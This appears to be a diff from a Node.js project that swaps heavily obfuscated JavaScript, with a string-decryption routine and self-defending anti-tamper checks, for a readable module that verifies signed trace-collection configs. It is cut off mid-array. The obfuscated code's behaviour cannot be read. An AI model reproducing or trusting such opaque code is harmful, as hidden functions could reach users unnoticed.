_0x953ab=this[_0x6354c6(0xc8,'\x46\x51\x35\x49')](_0x3c1f3b),_0x59b1da=_0xf028f3[_0x6354c6(0x111,'\x43\x34\x67\x62')](_0x953ab,!![])||_0x953ab&&_0xf028f3[_0x6354c6(0x17e,'\x52\x25\x47\x53')](_0x953ab[_0x6354c6(0x1a4,'\x4b\x71\x69\x53')],!![]),_0x44d3e0=_0xf028f3[_0x6354c6(0x1c0,'\x4e\x50\x4c\x55')](_0x953ab,!![])||_0x953ab&&_0xf028f3[_0x6354c6(0x15b,'\x31\x76\x36\x23')](_0x953ab[_0x6354c6(0x1bb,'\x28\x75\x44\x46')],!![]);_0x59b1da&&this[_0x6354c6(0xe0,'\x28\x75\x44\x46')][_0x6354c6(0x11c,'\x24\x34\x24\x5e')](_0x442a01['\x69\x64']),_0x44d3e0&&_0x2c828b++;}}return _0x4a95b8;}}const _0x42c4eb={};function _0x3520(_0x172ef4,_0x12a634){_0x172ef4=_0x172ef4-(-0x1*0xf25+-0x1*0x7bd+-0x17a9*-0x1);const _0x48d54b=_0x296b();let _0x3d3e12=_0x48d54b[_0x172ef4];if(_0x3520['\x6e\x56\x57\x54\x70\x61']===undefined){var _0x12ae80=function(_0x17871c){const _0x1535ef='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x4b9f3c='',_0x3835eb='',_0x2aef2d=_0x4b9f3c+_0x12ae80,_0x1182e6=(''+function(){return-0x2*0x39+0x1*-0x1525+-0x1597*-0x1;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')!==-(-0xf71+0x2054+0x10e2*-0x1);for(let _0x1ff0e9=-0x2*0xb73+-0x1afa+0x31e0,_0xd7e40,_0x409562,_0x2ba311=-0x1dcf+-0x15*0x1cf+0x2*0x21e5;_0x409562=_0x17871c['\x63\x68\x61\x72\x41\x74'](_0x2ba311++);~_0x409562&&(_0xd7e40=_0x1ff0e9%(0x2586+-0x1d65+-0x81d)?_0xd7e40*(0xc40+0x5*0x33b+-0x1c27*0x1)+_0x409562:_0x409562,_0x1ff0e9++%(0x1*0xa8d+-0x1b9+-0x8d0))?_0x4b9f3c+=_0x1182e6||_0x2aef2d['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x2ba311+(0x595*-0x1+-0x1e40+0x23df))-(0x4ed*-0x1+-0xda*-0x1d+-0x13bb)!==0x1ef7+-0x76*-0x38+-0x39*0xff?String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](0x3*-0x12+-0x15a*-0x3+-0x2d9&_0xd7e40>>(-(0xd*-0x14+-0x1*-0xa30+-0x187*0x6)*_0x1ff0e9&0x14c*-0x7+-0x1*-0x25c1+0x1ca7*-0x1)):_0x1ff0e9:-0x7a1+-0x8df+-0x58*-0x30){_0x409562=_0x1535ef['\x69\x6e\x64\x65\x78\x4f\x66'](_0x409562);}for(let _0x3633d1=-0xad*0x15+0xb47*-0x3+0x801*0x6,_0x1977fd=_0x4b9f3c['\x6c\x65\x6e\x67\x74\x68'];_0x3633d1<_0x1977fd;_0x3633d1++){_0x3835eb+='\x25'+('\x30\x30'+_0x4b9f3c['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x3633d1)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](-0xa33+0xf54+-0x1*0x511))['\x73\x6c\x69\x63\x65'](-(0xb3*0xa+0x1*0x13ee+0x1aea*-0x1));}return decodeURIComponent(_0x3835eb);};const _0x502f4e=function(_0x2d8a0c,_0x2f2cda){let _0x45ab50=[],_0x5c7893=-0x16f2+-0x1b2e+0x3220,_0x1a3f27,_0xe9561c='';_0x2d8a0c=_0x12ae80(_0x2d8a0c);let _0x581a4b;for(_0x581a4b=0x1082+-0x1d16+-0x46*-0x2e;_0x581a4b<0x59*0x3e+-0x2128*-0x1+-0x32*0x113;_0x581a4b++){_0x45ab50[_0x581a4b]=_0x581a4b;}for(_0x581a4b=0x19d4+-0x169*0xb+-0xa51;_0x581a4b<0x4ac*-0x8+0x565*0x4+0x433*0x4;_0x581a4b++){_0x5c7893=(_0x5c7893+_0x45ab50[_0x581a4b]+_0x2f2cda['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x581a4b%_0x2f2cda['\x6c\x65\x6e\x67\x74\x68']))%(0x18f4+0x4*0x35b+-0x2560),_0x1a3f27=_0x45ab50[_0x581a4b],_0x45ab50[_0x581a4b]=_0x45ab50[_0x5c7893],_0x45ab50[_0x5c7893]=_0x1a3f27;}_0x581a4b=-0x1*0x208b+0x31d+0x1d6e*0x1,_0x5c7893=0x14cb+-0x3*-0x9f5+-0x32aa;for(let _0x3e5703=-0x1*0x19f1+0x1a*-0x9d+-0x29e3*-0x1;_0x3e5703<_0x2d8a0c['\x6c\x65\x6e\x67\x74\x68'];_0x3e5703++){_0x581a4b=(_0x581a4b+(-0x1*-0x1f69+0xdbf+-0x2d27))%(0xf9c+0xdc1+-0x1c5d),_0x5c7893=(_0x5c7893+_0x45ab50[_0x581a4b])%(-0x1b53*0x1+-0x1*0x2489+0x1*0x40dc),_0x1a3f27=_0x45ab50[_0x581a4b],_0x45ab50[_0x581a4b]=_0x45ab50[_0x5c7893],_0x45ab50[_0x5c7893]=_0x1a3f27,_0xe9561c+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0x2d8a0c['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x3e5703)^_0x45ab50[(_0x45ab50[_0x581a4b]+_0x45ab50[_0x5c7893])%(0x31*-0x1+-0x1*-0x696+-0x565*0x1)]);}return _0xe9561c;};_0x3520['\x61\x78\x46\x74\x69\x61']=_0x502f4e,_0x3520['\x6d\x53\x77\x73\x65\x4f']={},_0x3520['\x6e\x56\x57\x54\x70\x61']=!![];}const _0x3c48e1=_0x48d54b[0x968+-0xbc2*-0x1+-0x6*0x387],_0x76a505=_0x172ef4+_0x3c48e1,_0x4e6880=_0x3520['\x6d\x53\x77\x73\x65\x4f'][_0x76a505];if(!_0x4e6880){if(_0x3520['\x61\x44\x66\x67\x43\x71']===undefined){const _0x2f676b=function(_0xd4e31c){this['\x75\x46\x69\x41\x67\x4c']=_0xd4e31c,this['\x5a\x65\x68\x4c\x77\x45']=[0x94*0x1a+0x7*0x293+-0x1d6*0x12,-0x99c+0x8e*0xf+-0x21*-0xa,-0x1*0x2632+0x647*-0x6+0x4bdc],this['\x45\x48\x69\x49\x69\x6f']=function(){return'\x6e\x65\x77\x53\x74\x61\x74\x65';},this['\x6f\x53\x46\x6a\x56\x73']='\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a',this['\x54\x49\x6f\x62\x7a\x52']='\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d';};_0x2f676b['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x6d\x4e\x4e\x59\x73\x42']=function(){const _0x31eb89=new RegExp(this['\x6f\x53\x46\x6a\x56\x73']+this['\x54\x49\x6f\x62\x7a\x52']),_0x43d3e0=_0x31eb89['\x74\x65\x73\x74'](this['\x45\x48\x69\x49\x69\x6f']['\x74\x6f\x53\x74\x72\x69\x6e\x67']())?--this['\x5a\x65\x68\x4c\x77\x45'][0x5*0x3cd+-0x407+0xef9*-0x1]:--this['\x5a\x65\x68\x4c\x77\x45'][0xd02+0x137*0x2+-0xf70];return this['\x5a\x7a\x44\x6b\x54\x75'](_0x43d3e0);},_0x2f676b['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5a\x7a\x44\x6b\x54\x75']=function(_0x1fe3eb){if(!Boolean(~_0x1fe3eb))return _0x1fe3eb;return this['\x6f\x55\x54\x71\x4c\x72'](this['\x75\x46\x69\x41\x67\x4c']);},_0x2f676b['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x6f\x55\x54\x71\x4c\x72']=function(_0x1f091a){for(let _0x4969af=0xc9d+0x1976+0x13*-0x201,_0x2913bf=this['\x5a\x65\x68\x4c\x77\x45']['\x6c\x65\x6e\x67\x74\x68'];_0x4969af<_0x2913bf;_0x4969af++){this['\x5a\x65\x68\x4c\x77\x45']['\x70\x75\x73\x68'](Math['\x72\x6f\x75\x6e\x64'](Math['\x72\x61\x6e\x64\x6f\x6d']())),_0x2913bf=this['\x5a\x65\x68\x4c\x77\x45']['\x6c\x65\x6e\x67\x74\x68'];}return _0x1f091a(this['\x5a\x65\x68\x4c\x77\x45'][-0x1f6b+-0x22f5+0x4260]);},(''+function(){return 0x7ed*-0x1+-0x8af+0x1*0x109c;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')===-(0x239+-0x9*0x48+0x50*0x1)&&new _0x2f676b(_0x3520)['\x6d\x4e\x4e\x59\x73\x42'](),_0x3520['\x61\x44\x66\x67\x43\x71']=!![];}_0x3d3e12=_0x3520['\x61\x78\x46\x74\x69\x61'](_0x3d3e12,_0x12a634),_0x3520['\x6d\x53\x77\x73\x65\x4f'][_0x76a505]=_0x3d3e12;}else _0x3d3e12=_0x4e6880;return _0x3d3e12;}_0x42c4eb[_0x398e1e(0xc9,'\x58\x4f\x55\x30')+_0x398e1e(0xfe,'\x5a\x45\x25\x36')]=_0x9614ef,_0x42c4eb[_0x398e1e(0x1b4,'\x41\x29\x30\x79')+_0x398e1e(0xe2,'\x4e\x79\x46\x56')+_0x398e1e(0x138,'\x62\x29\x75\x29')+_0x398e1e(0x15a,'\x52\x25\x47\x53')]=_0x13d3b4,_0x42c4eb[_0x398e1e(0x156,'\x6a\x71\x4e\x31')+_0x398e1e(0x1b2,'\x5e\x24\x38\x55')+_0x398e1e(0x1d6,'\x4e\x79\x46\x56')+'\x72\x65']=_0xca75f7,module['\x65\x78\x70\x6f\x72\x74\x73']=_0x42c4eb;
1
+ 'use strict';
2
+
3
+ const crypto = require('crypto');
4
+
5
+ function canonicalTraceConfigPayload(payload = {}) {
6
+ const clean = {};
7
+ for (const key of Object.keys(payload).sort()) {
8
+ if (key === 'signature' || key === 'trace_config_signature' || key === 'signature_algorithm') continue;
9
+ if (key === 'hub_public_key') continue;
10
+ const value = payload[key];
11
+ if (value !== undefined) clean[key] = value;
12
+ }
13
+ return JSON.stringify(clean);
14
+ }
15
+
16
+ function verifyTraceConfigSignature(payload = {}, env = process.env) {
17
+ const publicKey = String(
18
+ env.EVOMAP_TRACE_CONFIG_SIGNING_PUBLIC_KEY
19
+ || env.EVOMAP_PROXY_TRACE_CONFIG_SIGNING_PUBLIC_KEY
20
+ || ''
21
+ ).trim();
22
+ const signature = String(payload.signature || payload.trace_config_signature || '').trim();
23
+ if (!publicKey || !signature) return false;
24
+ try {
25
+ return crypto.verify(
26
+ 'sha256',
27
+ Buffer.from(canonicalTraceConfigPayload(payload), 'utf8'),
28
+ publicKey,
29
+ Buffer.from(signature, 'base64')
30
+ );
31
+ } catch {
32
+ return false;
33
+ }
34
+ }
35
+
36
+ class TraceControl {
37
+ constructor({ store, logger } = {}) {
38
+ this.store = store;
39
+ this.logger = logger || console;
40
+ }
41
+
42
+ process(message) {
43
+ const payload = message && message.payload ? message.payload : message;
44
+ const enabled = payload && (
45
+ payload.enabled ??
46
+ payload.trace_collection_enabled ??
47
+ payload.proxy_trace_collection_enabled
48
+ );
49
+ if (typeof enabled !== 'boolean') {
50
+ this.logger.warn?.('[trace-control] ignoring config without boolean enabled');
51
+ return { ack: true, applied: false };
52
+ }
53
+ let profileEnabled = payload.profile_analysis_enabled ?? payload.trace_profile_analysis_enabled;
54
+ const signed = verifyTraceConfigSignature(payload);
55
+ const unsafeEnable = enabled === true;
56
+ const unsafeProfile = profileEnabled === true;
57
+ const hasRuntimeHubKey = typeof payload.hub_public_key === 'string' && payload.hub_public_key.trim();
58
+ if (!signed && unsafeEnable) {
59
+ this.logger.warn?.('[trace-control] rejected unsigned trace config that could enable collection/profile analysis');
60
+ return { ack: true, applied: false };
61
+ }
62
+ if (!signed && unsafeProfile) {
63
+ this.logger.warn?.('[trace-control] ignored unsigned profile analysis enable while applying trace disable');
64
+ profileEnabled = false;
65
+ }
66
+ this.store.setState('trace_collection_enabled', enabled ? 'true' : 'false');
67
+ if (typeof profileEnabled === 'boolean') {
68
+ this.store.setState('trace_profile_analysis_enabled', profileEnabled ? 'true' : 'false');
69
+ }
70
+ // trace_hub_public_key is part of the SIGNED canonical payload (unlike the legacy runtime hub_public_key,
71
+ // which stays excluded + ignored). Persist it only from a verified-signed config, so the hub can distribute
72
+ // its trace-encryption public key centrally without a per-node env, while a forged/unsigned config still
73
+ // cannot inject a key. extractor.readTraceProfileConfig reads this as a fallback to the pinned env var.
74
+ const signedHubKey = typeof payload.trace_hub_public_key === 'string' && payload.trace_hub_public_key.trim();
75
+ if (signed && signedHubKey && payload.trace_hub_public_key.includes('PUBLIC KEY')) {
76
+ this.store.setState('trace_hub_public_key', payload.trace_hub_public_key.trim());
77
+ } else if (!signed && signedHubKey) {
78
+ this.logger.warn?.('[trace-control] ignored trace_hub_public_key from an unsigned config');
79
+ }
80
+ if (hasRuntimeHubKey) {
81
+ this.logger.warn?.('[trace-control] ignored runtime hub_public_key; use pinned EVOMAP_PROXY_TRACE_HUB_PUBLIC_KEY or signed trace_hub_public_key');
82
+ }
83
+ this.store.setState('trace_collection_updated_at', new Date().toISOString());
84
+ this.logger.log?.('[trace-control] trace collection ' + (enabled ? 'enabled' : 'disabled'));
85
+ return { ack: true, applied: true };
86
+ }
87
+
88
+ pollAndApply() {
89
+ const messages = [
90
+ ...this.store.poll({ type: 'trace_collection_config', limit: 50 }),
91
+ ...this.store.poll({ type: 'proxy_trace_config', limit: 50 }),
92
+ ];
93
+ let applied = 0;
94
+ for (const msg of messages) {
95
+ const result = this.process(msg);
96
+ const ack = result === true || (result && result.ack === true);
97
+ const didApply = result === true || (result && result.applied === true);
98
+ if (ack) {
99
+ this.store.ack(msg.id);
100
+ }
101
+ if (didApply) {
102
+ applied++;
103
+ }
104
+ }
105
+ return applied;
106
+ }
107
+ }
108
+
109
+ module.exports = { TraceControl, canonicalTraceConfigPayload, verifyTraceConfigSignature };
@@ -1 +1,52 @@
1
- const _0x10ea8e=_0x1b39;(function(_0x4f7aa3,_0x581d19){const _0x2d10bd=_0x1b39,_0x556625=_0x4f7aa3();while(!![]){try{const _0xcfd9a7=parseInt(_0x2d10bd(0x112,'\x59\x43\x2a\x48'))/(0x100b+-0x86+0x6*-0x296)+parseInt(_0x2d10bd(0xb7,'\x47\x6d\x42\x24'))/(0x43*0x3b+0xe25+0xc*-0x277)*(parseInt(_0x2d10bd(0xf4,'\x38\x73\x4c\x74'))/(-0x87c+0xd19+0x24d*-0x2))+-parseInt(_0x2d10bd(0xde,'\x38\x35\x45\x5e'))/(0x4f7+0x209c+-0x258f)+parseInt(_0x2d10bd(0x111,'\x38\x73\x4c\x74'))/(0xcd*0x5+0x251d+0xa7*-0x3f)*(parseInt(_0x2d10bd(0xdc,'\x6c\x36\x67\x31'))/(0x164*0x8+-0x14a0+0x1*0x986))+-parseInt(_0x2d10bd(0x10d,'\x70\x66\x38\x36'))/(-0x39*-0x51+-0xda*-0xe+-0x1dee)*(-parseInt(_0x2d10bd(0xc0,'\x59\x43\x2a\x48'))/(-0x1*0x24b6+-0x1*0x1ded+0x42ab))+-parseInt(_0x2d10bd(0x12e,'\x5a\x2a\x30\x74'))/(0x2*0x115+0x949*-0x1+0x728)+-parseInt(_0x2d10bd(0x10a,'\x67\x67\x61\x74'))/(-0x22ea*-0x1+0x29+-0x2309)*(parseInt(_0x2d10bd(0xc5,'\x42\x68\x66\x30'))/(0x8*-0x94+-0x151b+0x19c6));if(_0xcfd9a7===_0x581d19)break;else _0x556625['push'](_0x556625['shift']());}catch(_0x3fa08d){_0x556625['push'](_0x556625['shift']());}}}(_0x502c,0xb2f8d*0x1+-0xb8fdf+-0x65*-0x1462));function _0x1b39(_0x4f9de6,_0x369daf){_0x4f9de6=_0x4f9de6-(0x1436+-0x1357+0x31*-0x1);const _0x55eee8=_0x502c();let _0x3b0fad=_0x55eee8[_0x4f9de6];if(_0x1b39['\x79\x63\x6e\x67\x69\x79']===undefined){var _0x2d495e=function(_0x5ace02){const _0x4ad1ac='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x4f8977='',_0x161795='',_0x2ce2b1=_0x4f8977+_0x2d495e,_0x297e47=(''+function(){return-0x10c4+0x1*-0x24e6+0x35aa;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')!==-(-0x1bcb+-0x1ca8+0x3874*0x1);for(let _0x1c813c=-0x47*-0x5+-0xc2f+0xacc,_0x6639a2,_0x3bec74,_0x300f15=0x1cc8+-0x2b*-0x1d+-0x6bb*0x5;_0x3bec74=_0x5ace02['\x63\x68\x61\x72\x41\x74'](_0x300f15++);~_0x3bec74&&(_0x6639a2=_0x1c813c%(-0x206d+0x23b+-0x1e36*-0x1)?_0x6639a2*(0x213*-0xc+0x4ba+-0x4e*-0x43)+_0x3bec74:_0x3bec74,_0x1c813c++%(0x49d*0x1+0x1*-0x1f6a+-0x55d*-0x5))?_0x4f8977+=_0x297e47||_0x2ce2b1['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x300f15+(0x23d5+-0x35*0x6b+0x3*-0x48c))-(0x1c3a+-0x1b84+0x2b*-0x4)!==-0x59*0x49+0x2354+0x3*-0x351?String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](-0x2130+-0x2698+-0x1f*-0x259&_0x6639a2>>(-(0x1472+-0x5e3*-0x5+-0x31df)*_0x1c813c&0xf*-0x1+0x49e*0x5+0x1c5*-0xd)):_0x1c813c:0x2ba*0x9+0x823+-0x20ad){_0x3bec74=_0x4ad1ac['\x69\x6e\x64\x65\x78\x4f\x66'](_0x3bec74);}for(let _0x669286=-0x2*-0x3cf+-0xc3d*-0x2+-0x2018,_0x429222=_0x4f8977['\x6c\x65\x6e\x67\x74\x68'];_0x669286<_0x429222;_0x669286++){_0x161795+='\x25'+('\x30\x30'+_0x4f8977['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x669286)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](0x1580+0xf22+-0x2492))['\x73\x6c\x69\x63\x65'](-(0x265c+0x2047*-0x1+-0x613));}return decodeURIComponent(_0x161795);};const _0x10b086=function(_0x547a01,_0x3296d1){let _0x3c7001=[],_0x4b4663=-0x1a76+-0x65d+-0x1*-0x20d3,_0x4e105f,_0x38685e='';_0x547a01=_0x2d495e(_0x547a01);let _0x5bd4aa;for(_0x5bd4aa=0x88c+0x2b7+-0x1*0xb43;_0x5bd4aa<-0x1*-0xc37+0x918+-0x1*0x144f;_0x5bd4aa++){_0x3c7001[_0x5bd4aa]=_0x5bd4aa;}for(_0x5bd4aa=-0x7*0x47c+0x854*0x4+0x1*-0x1ec;_0x5bd4aa<0x15a9+-0x121b+-0x2*0x147;_0x5bd4aa++){_0x4b4663=(_0x4b4663+_0x3c7001[_0x5bd4aa]+_0x3296d1['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x5bd4aa%_0x3296d1['\x6c\x65\x6e\x67\x74\x68']))%(0x133*-0x1+0x368+-0x1*0x135),_0x4e105f=_0x3c7001[_0x5bd4aa],_0x3c7001[_0x5bd4aa]=_0x3c7001[_0x4b4663],_0x3c7001[_0x4b4663]=_0x4e105f;}_0x5bd4aa=0x95f+0x17f4+-0x2153,_0x4b4663=-0xd81+0x112*-0x1c+0x1*0x2b79;for(let _0x1c5c97=-0x28d+-0x26b6+0x2943;_0x1c5c97<_0x547a01['\x6c\x65\x6e\x67\x74\x68'];_0x1c5c97++){_0x5bd4aa=(_0x5bd4aa+(-0x6b*-0x53+-0x111*0x16+0x1df*-0x6))%(0x4f*0x7a+-0x239c+-0x7*0x26),_0x4b4663=(_0x4b4663+_0x3c7001[_0x5bd4aa])%(0x4e1*-0x1+0x2388+0x1*-0x1da7),_0x4e105f=_0x3c7001[_0x5bd4aa],_0x3c7001[_0x5bd4aa]=_0x3c7001[_0x4b4663],_0x3c7001[_0x4b4663]=_0x4e105f,_0x38685e+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0x547a01['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x1c5c97)^_0x3c7001[(_0x3c7001[_0x5bd4aa]+_0x3c7001[_0x4b4663])%(0xc24+0x324*0x8+-0x2444)]);}return _0x38685e;};_0x1b39['\x72\x78\x77\x54\x73\x41']=_0x10b086,_0x1b39['\x6a\x65\x46\x4d\x72\x58']={},_0x1b39['\x79\x63\x6e\x67\x69\x79']=!![];}const _0x241900=_0x55eee8[0x1*0x892+-0x1f87+0x1*0x16f5],_0x439dd1=_0x4f9de6+_0x241900,_0x1134c7=_0x1b39['\x6a\x65\x46\x4d\x72\x58'][_0x439dd1];if(!_0x1134c7){if(_0x1b39['\x6c\x73\x71\x76\x4d\x62']===undefined){const _0x475933=function(_0x2044f4){this['\x70\x62\x45\x62\x62\x76']=_0x2044f4,this['\x68\x62\x64\x61\x4b\x72']=[0x1841*0x1+-0x4*0x2d6+0xec*-0xe,-0xe*-0x10c+-0x1f4f+0x10a7,0x3*0x1e1+-0x40a+0x199*-0x1],this['\x65\x50\x48\x77\x76\x59']=function(){return'\x6e\x65\x77\x53\x74\x61\x74\x65';},this['\x54\x59\x49\x4c\x70\x56']='\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a',this['\x73\x61\x73\x67\x4b\x65']='\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d';};_0x475933['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x65\x56\x74\x62\x76\x46']=function(){const _0x4b0a91=new RegExp(this['\x54\x59\x49\x4c\x70\x56']+this['\x73\x61\x73\x67\x4b\x65']),_0xa969b=_0x4b0a91['\x74\x65\x73\x74'](this['\x65\x50\x48\x77\x76\x59']['\x74\x6f\x53\x74\x72\x69\x6e\x67']())?--this['\x68\x62\x64\x61\x4b\x72'][-0x25*0xc2+-0x710+0x231b*0x1]:--this['\x68\x62\x64\x61\x4b\x72'][0x1de*0x1+-0x13*-0x18a+-0x1f1c];return this['\x47\x42\x72\x66\x50\x57'](_0xa969b);},_0x475933['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x47\x42\x72\x66\x50\x57']=function(_0x2122d1){if(!Boolean(~_0x2122d1))return _0x2122d1;return this['\x41\x50\x51\x6c\x44\x61'](this['\x70\x62\x45\x62\x62\x76']);},_0x475933['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x41\x50\x51\x6c\x44\x61']=function(_0x3ea649){for(let _0x48c985=0x413*0x7+-0xe1+-0x1ba4,_0x4320a6=this['\x68\x62\x64\x61\x4b\x72']['\x6c\x65\x6e\x67\x74\x68'];_0x48c985<_0x4320a6;_0x48c985++){this['\x68\x62\x64\x61\x4b\x72']['\x70\x75\x73\x68'](Math['\x72\x6f\x75\x6e\x64'](Math['\x72\x61\x6e\x64\x6f\x6d']())),_0x4320a6=this['\x68\x62\x64\x61\x4b\x72']['\x6c\x65\x6e\x67\x74\x68'];}return _0x3ea649(this['\x68\x62\x64\x61\x4b\x72'][0x12d0+-0x220e+0xf3e]);},(''+function(){return-0x1d00+-0x5*0x1af+0x256b;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')===-(0x1087+0x67f*-0x2+0x388*-0x1)&&new _0x475933(_0x1b39)['\x65\x56\x74\x62\x76\x46'](),_0x1b39['\x6c\x73\x71\x76\x4d\x62']=!![];}_0x3b0fad=_0x1b39['\x72\x78\x77\x54\x73\x41'](_0x3b0fad,_0x369daf),_0x1b39['\x6a\x65\x46\x4d\x72\x58'][_0x439dd1]=_0x3b0fad;}else _0x3b0fad=_0x1134c7;return _0x3b0fad;}const _0x28bed7=(function(){const _0x2e6e9d=_0x1b39,_0x186f0a={};_0x186f0a['\x48\x55\x79\x4d\x76']='\x28\x28\x28\x2e\x2b\x29\x2b\x29'+_0x2e6e9d(0xe6,'\x59\x43\x2a\x48'),_0x186f0a['\x76\x62\x6a\x72\x67']=function(_0x1825e9,_0x18d70e){return _0x1825e9===_0x18d70e;},_0x186f0a[_0x2e6e9d(0x116,'\x4d\x39\x69\x24')]=_0x2e6e9d(0xdb,'\x2a\x4f\x55\x72');const _0x3f1b65=_0x186f0a;let _0x45c012=!![];return function(_0x58cecb,_0x490a5a){const _0x332b6f=_0x2e6e9d,_0x1845a9={'\x76\x79\x74\x53\x77':_0x3f1b65[_0x332b6f(0xb0,'\x73\x70\x44\x73')],'\x73\x74\x48\x77\x49':function(_0x1bb2c6,_0x1cd4ff){const _0x78544d=_0x332b6f;return _0x3f1b65[_0x78544d(0xf1,'\x21\x4b\x34\x78')](_0x1bb2c6,_0x1cd4ff);},'\x78\x6e\x58\x79\x66':_0x3f1b65[_0x332b6f(0xb6,'\x4f\x38\x4d\x79')]},_0x2adc21=_0x45c012?function(){const _0x53b696=_0x332b6f,_0x246c97={};_0x246c97['\x6d\x64\x46\x51\x4a']=_0x1845a9[_0x53b696(0x119,'\x7a\x5e\x38\x62')];const _0x549dfe=_0x246c97;if(_0x490a5a){if(_0x1845a9[_0x53b696(0xe7,'\x70\x66\x38\x36')](_0x1845a9[_0x53b696(0xd7,'\x38\x35\x45\x5e')],_0x53b696(0x11d,'\x21\x4b\x34\x78')))return _0x1b635c[_0x53b696(0x109,'\x6c\x36\x67\x31')]()[_0x53b696(0xee,'\x70\x25\x6b\x39')](_0x549dfe[_0x53b696(0x135,'\x58\x38\x26\x79')])[_0x53b696(0xec,'\x44\x70\x4d\x44')]()[_0x53b696(0xda,'\x6a\x75\x23\x79')+_0x53b696(0xb8,'\x29\x4a\x54\x52')](_0x362b04)['\x73\x65\x61\x72\x63\x68'](_0x549dfe[_0x53b696(0x102,'\x24\x28\x59\x5a')]);else{const _0x2393b8=_0x490a5a[_0x53b696(0x133,'\x42\x68\x66\x30')](_0x58cecb,arguments);return _0x490a5a=null,_0x2393b8;}}}:function(){};return _0x45c012=![],_0x2adc21;};}()),_0x24b2a5=_0x28bed7(this,function(){const _0x2f3ca0=_0x1b39,_0xf802a7={};_0xf802a7['\x71\x77\x58\x46\x56']=_0x2f3ca0(0xe4,'\x54\x4c\x44\x79')+_0x2f3ca0(0xe6,'\x59\x43\x2a\x48');const _0x1613b4=_0xf802a7;return _0x24b2a5[_0x2f3ca0(0xe2,'\x66\x58\x21\x54')]()[_0x2f3ca0(0x107,'\x24\x28\x59\x5a')](_0x1613b4[_0x2f3ca0(0xf0,'\x6a\x75\x23\x79')])[_0x2f3ca0(0x10f,'\x2a\x4f\x55\x72')]()[_0x2f3ca0(0xf6,'\x2a\x24\x4e\x30')+_0x2f3ca0(0x121,'\x6c\x36\x67\x31')](_0x24b2a5)[_0x2f3ca0(0xd1,'\x74\x48\x79\x64')](_0x1613b4['\x71\x77\x58\x46\x56']);});_0x24b2a5();'use strict';function _0x502c(){const _0x41abea=['\x57\x4f\x47\x79\x68\x38\x6f\x37','\x68\x6d\x6b\x58\x77\x72\x72\x4c','\x57\x50\x62\x32\x57\x35\x53\x79\x57\x34\x6e\x6c\x57\x51\x56\x64\x55\x57','\x45\x43\x6b\x6b\x57\x36\x74\x63\x48\x32\x78\x63\x56\x6d\x6f\x43\x57\x52\x38','\x57\x4f\x58\x4a\x57\x36\x4a\x64\x48\x67\x33\x63\x4b\x75\x56\x63\x51\x57','\x46\x38\x6f\x41\x57\x34\x52\x64\x4f\x74\x53\x6f\x62\x4c\x34','\x57\x51\x57\x62\x57\x36\x6c\x64\x52\x53\x6f\x46\x68\x43\x6f\x7a\x68\x71','\x71\x43\x6b\x78\x57\x34\x52\x64\x48\x38\x6f\x44\x57\x37\x72\x70\x6b\x71','\x62\x43\x6f\x30\x57\x50\x44\x74\x75\x53\x6b\x66','\x57\x52\x54\x4e\x61\x47\x78\x64\x4b\x53\x6b\x73\x75\x62\x65','\x57\x51\x37\x64\x4d\x6d\x6f\x37\x6d\x59\x30','\x42\x53\x6b\x6f\x79\x66\x56\x63\x47\x47','\x70\x38\x6b\x6a\x57\x51\x56\x64\x48\x43\x6b\x49\x57\x50\x33\x64\x4f\x43\x6f\x63','\x71\x75\x6c\x63\x55\x4c\x44\x75\x57\x36\x6a\x37\x57\x34\x53','\x57\x52\x56\x64\x4c\x43\x6b\x42\x7a\x38\x6b\x79\x57\x37\x58\x50\x57\x36\x6e\x6a\x57\x4f\x75','\x78\x43\x6b\x74\x57\x36\x6e\x6b','\x57\x34\x65\x30\x57\x36\x4e\x63\x4d\x59\x64\x64\x4e\x33\x56\x64\x56\x47','\x61\x6d\x6f\x6b\x57\x50\x30\x75','\x57\x50\x47\x71\x42\x53\x6